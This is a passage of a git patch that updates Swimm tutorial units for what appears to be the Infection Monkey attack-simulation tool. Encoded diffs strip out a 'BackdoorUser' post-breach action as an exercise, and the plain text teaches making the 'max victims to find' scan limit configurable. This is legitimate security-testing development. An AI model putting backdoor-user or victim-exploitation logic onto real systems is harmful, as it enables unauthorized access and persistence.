AlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB", - "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==", - "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu", - "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==", - "file_version": "1.0.2", - "app_version": "0.1.60" -} + "app_version": "0.2.1", + "file_version": "1.0.3" +} \ No newline at end of file From 3dc7208b86294a60cd574f17614fb1cbb93105d4 Mon Sep 17 00:00:00 2001 From: omerr Date: Wed, 7 Oct 2020 23:34:33 +0300 Subject: [PATCH 075/466] Swimm: updated unit (AzD8XysWg1BBXCjCDkfq) - upgrading to scheme 1.0.3 --- .swm/AzD8XysWg1BBXCjCDkfq.swm | 105 +++++++++++++++++++++------------- 1 file changed, 64 insertions(+), 41 deletions(-) diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm index 9594d72d9..6eeb46b0e 100644 --- a/.swm/AzD8XysWg1BBXCjCDkfq.swm +++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm @@ -1,58 +1,81 @@ { "id": "AzD8XysWg1BBXCjCDkfq", "name": "Add a new configuration setting to the Agent βš™", - "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMHRoYXQlMjBNb25rZXklMjB3aWxsJTIwZmluZCUyMGJlZm9yZSUyMHN0b3BwaW5nJTIwY29uZmlndXJhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQu", - "description": "JTIzJTIwTWFrZSUyMHNvbWV0aGluZyUyMGNvbmZpZ3VyYWJsZSUwQSUwQUluJTIwdGhpcyUyMHVuaXQlMkMlMjB5b3UlMjB3aWxsJTIwbGVhcm4lMjBob3clMjB0byUyMGFkZCUyMGElMjBjb25maWd1cmF0aW9uJTIwb3B0aW9uJTIwdG8lMjBNb25rZXklMjBhbmQlMjBob3clMjB0byUyMHVzZSUyMGl0JTIwaW4lMjB0aGUlMjBNb25rZXklMjBBZ2VudCUyMGNvZGUuJTIwJTBBJTBBISU1QmNvbXB1dGVyJTIwZmlyZSU1RChodHRwcyUzQSUyRiUyRm1lZGlhLmdpcGh5LmNvbSUyRm1lZGlhJTJGN0o0UDdjVXVyMkRsRXJpanAzJTJGZ2lwaHkuZ2lmJTIwJTIyY29tcHV0ZXIlMjBmaXJlJTIyKSUwQSUwQSUyMyUyMyUyMFdoeSUyMGlzJTIwdGhpcyUyMGltcG9ydGFudCUzRiUwQSUwQUVuYWJsaW5nJTIwdXNlcnMlMjB0byUyMGNvbmZpZ3VyZSUyMHRoZSUyME1vbmtleSdzJTIwYmVoYXZpb3VyJTIwZ2l2ZXMlMjB0aGVtJTIwYSUyMGxvdCUyMG1vcmUlMjBmcmVlZG9tJTIwaW4lMjBob3clMjB0aGV5JTIwd2FudCUyMHRvJTIwdXNlJTIwdGhlJTIwTW9ua2V5JTIwYW5kJTIwZW5hYmxlcyUyMG1vcmUlMjB1c2UlMjBjYXNlcy4lMEElMEElMjMlMjMlMjBXaGF0JTIwaXMlMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBmaW5kJTIyJTNGJTBBJTBBVGhlJTIwTW9ua2V5JTIwaGFzJTIwYSUyMGZ1bmN0aW9uJTIwd2hpY2glMjBmaW5kcyUyMCUyMnZpY3RpbSUyMiUyMG1hY2hpbmVzJTIwb24lMjB0aGUlMjBuZXR3b3JrJTIwZm9yJTIwdGhlJTIwTW9ua2V5JTIwdG8lMjB0cnklMjBhbmQlMjBleHBsb2l0LiUyMEl0J3MlMjBjYWxsZWQlMjAlNjBnZXRfdmljdGltX21hY2hpbmVzJTYwLiUyMFRoaXMlMjBmdW5jdGlvbiUyMGFjY2VwdHMlMjBhbiUyMGFyZ3VtZW50JTIwd2hpY2glMjBsaW1pdHMlMjBob3clMjBtYW55JTIwbWFjaGluZXMlMjB0aGUlMjBNb25rZXklMjBzaG91bGQlMjBmaW5kLiUwQSUwQVdlJTIwd2FudCUyMHRvJTIwbWFrZSUyMHRoYXQlMjB2YWx1ZSUyMGVkaXRhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQlMjBpbiUyMHRoZSUyMGNvZGUuJTBBJTBBJTIzJTIzJTIwTWFudWFsJTIwdGVzdGluZyUwQSUwQTEuJTIwQWZ0ZXIlMjB5b3UndmUlMjBwZXJmb3JtZWQlMjB0aGUlMjByZXF1aXJlZCUyMGNoYW5nZXMlMkMlMjByZWxvYWQlMjB0aGUlMjBTZXJ2ZXIlMjBhbmQlMjBjaGVjayUyMHlvdXIlMjB2YWx1ZSUyMGV4aXN0cyUyMGluJTIwdGhlJTIwSW50ZXJuYWwlMjB0YWIlMjBvZiUyMHRoZSUyMGNvbmZpZyUyMChzZWUlMjBpbWFnZSkuJTBBJTBBISU1QiU1RChodHRwcyUzQSUyRiUyRmkuaW1ndXIuY29tJTJGZTBYQXh1Vi5wbmcpJTBBJTBBMi4lMjBTZXQlMjB0aGUlMjBuZXclMjB2YWx1ZSUyMHRvJTIwMSUyQyUyMGFuZCUyMHJ1biUyME1vbmtleSUyMGxvY2FsbHklMjAoZnJvbSUyMHNvdXJjZSkuJTIwU2VlJTIwdGhhdCUyMHRoZSUyME1vbmtleSUyMG9ubHklMjBzY2FucyUyMG9uZSUyMG1hY2hpbmUu", - "summary": "KiUyMFdoZW4lMjBjaGFuZ2luZyUyMGNvbmZpZyUyMHNjaGVtYSUyMGJ5JTIwYWRkaW5nJTIwb3IlMjBkZWxldGluZyUyMGtleXMlMkMlMjB5b3UlMjBuZWVkJTIwdG8lMjB1cGRhdGUlMjB0aGUlMjBCbGFja2JveCUyMFRlc3QlMjBjb25maWd1cmF0aW9ucyUyMGFzJTIwd2VsbCUyMCU1QmhlcmUlNUQoaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGZ3VhcmRpY29yZSUyRm1vbmtleSUyRnRyZWUlMkZkZXZlbG9wJTJGZW52cyUyRm1vbmtleV96b28lMkZibGFja2JveCUyRmlzbGFuZF9jb25maWdzKS4=", - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQWluZGV4JTIwMWZiY2I4NzYuLjY3ZWQxOWRlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZjb25maWcucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRmNvbmZpZy5weSUwQSU0MCU0MCUyMC0xMzElMkM5JTIwJTJCMTMxJTJDNiUyMCU0MCU0MCUyMGNsYXNzJTIwQ29uZmlndXJhdGlvbihvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZXhwbG9pdGVyX2NsYXNzZXMlMjAlM0QlMjAlNUIlNUQlMEElMjAlMjAlMjAlMjAlMjBzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3NlcyUyMCUzRCUyMCU1QiU1RCUwQSUyMCUwQS0lMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwbG9vayUyMGZvciUyMGluJTIwYSUyMHNpbmdsZSUyMHNjYW4lMjBpdGVyYXRpb24lMEEtJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZmluZCUyMCUzRCUyMDEwMCUwQS0lMEElMjAlMjAlMjAlMjAlMjAlMjMlMjBob3clMjBtYW55JTIwdmljdGltcyUyMHRvJTIwZXhwbG9pdCUyMGJlZm9yZSUyMHN0b3BwaW5nJTBBJTIwJTIwJTIwJTIwJTIwdmljdGltc19tYXhfZXhwbG9pdCUyMCUzRCUyMDEwMCUwQSUyMCUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEFpbmRleCUyMDQ0NGJkZTQ1Li5mZjIzZjY3MSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZtb25rZXkucHklMEElNDAlNDAlMjAtMTU4JTJDNyUyMCUyQjE1OCUyQzclMjAlNDAlNDAlMjBjbGFzcyUyMEluZmVjdGlvbk1vbmtleShvYmplY3QpJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwaWYlMjBub3QlMjBzZWxmLl9rZWVwX3J1bm5pbmclMjBvciUyMG5vdCUyMFdvcm1Db25maWd1cmF0aW9uLmFsaXZlJTNBJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwYnJlYWslMEElMjAlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0RXb3JtQ29uZmlndXJhdGlvbi52aWN0aW1zX21heF9maW5kJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbWFjaGluZXMlMjAlM0QlMjBzZWxmLl9uZXR3b3JrLmdldF92aWN0aW1fbWFjaGluZXMobWF4X2ZpbmQlM0QxMDAlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdG9wX2NhbGxiYWNrJTNEQ29udHJvbENsaWVudC5jaGVja19mb3Jfc3RvcCklMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBpc19lbXB0eSUyMCUzRCUyMFRydWUlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBmb3IlMjBtYWNoaW5lJTIwaW4lMjBtYWNoaW5lcyUzQSUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZpbnRlcm5hbC5weSUwQWluZGV4JTIwYmRiYWUyNDYuLmQ2MDQyZDM1JTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmludGVybmFsLnB5JTBBJTQwJTQwJTIwLTQwJTJDMTIlMjAlMkI0MCUyQzYlMjAlNDAlNDAlMjBJTlRFUk5BTCUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyTW9ua2V5JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMm9iamVjdCUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnByb3BlcnRpZXMlMjIlM0ElMjAlN0IlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydmljdGltc19tYXhfZmluZCUyMiUzQSUyMCU3QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMk1heCUyMHZpY3RpbXMlMjB0byUyMGZpbmQlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZGVmYXVsdCUyMiUzQSUyMDEwMCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZXNjcmlwdGlvbiUyMiUzQSUyMCUyMkRldGVybWluZXMlMjB0aGUlMjBtYXhpbXVtJTIwbnVtYmVyJTIwb2YlMjBtYWNoaW5lcyUyMHRoZSUyMG1vbmtleSUyMGlzJTIwYWxsb3dlZCUyMHRvJTIwc2NhbiUyMiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ2aWN0aW1zX21heF9leHBsb2l0JTIyJTNBJTIwJTdCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydGl0bGUlMjIlM0ElMjAlMjJNYXglMjB2aWN0aW1zJTIwdG8lMjBleHBsb2l0JTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIydHlwZSUyMiUzQSUyMCUyMmludGVnZXIlMjIlMkMlMEE=", + "dod": "Make the max victim number that Monkey will find before stopping configurable by the user instead of constant.", + "description": "# Make something configurable\n\nIn this unit, you will learn how to add a configuration option to Monkey and how to use it in the Monkey Agent code. \n\n![computer fire](https://media.giphy.com/media/7J4P7cUur2DlErijp3/giphy.gif \"computer fire\")\n\n## Why is this important?\n\nEnabling users to configure the Monkey's behaviour gives them a lot more freedom in how they want to use the Monkey and enables more use cases.\n\n## What is \"Max victims to find\"?\n\nThe Monkey has a function which finds \"victim\" machines on the network for the Monkey to try and exploit. It's called `get_victim_machines`. This function accepts an argument which limits how many machines the Monkey should find.\n\nWe want to make that value editable by the user instead of constant in the code.\n\n## Manual testing\n\n1. After you've performed the required changes, reload the Server and check your value exists in the Internal tab of the config (see image).\n\n![](https://i.imgur.com/e0XAxuV.png)\n\n2. Set the new value to 1, and run Monkey locally (from source). See that the Monkey only scans one machine.", + "summary": "* When changing config schema by adding or deleting keys, you need to update the Blackbox Test configurations as well 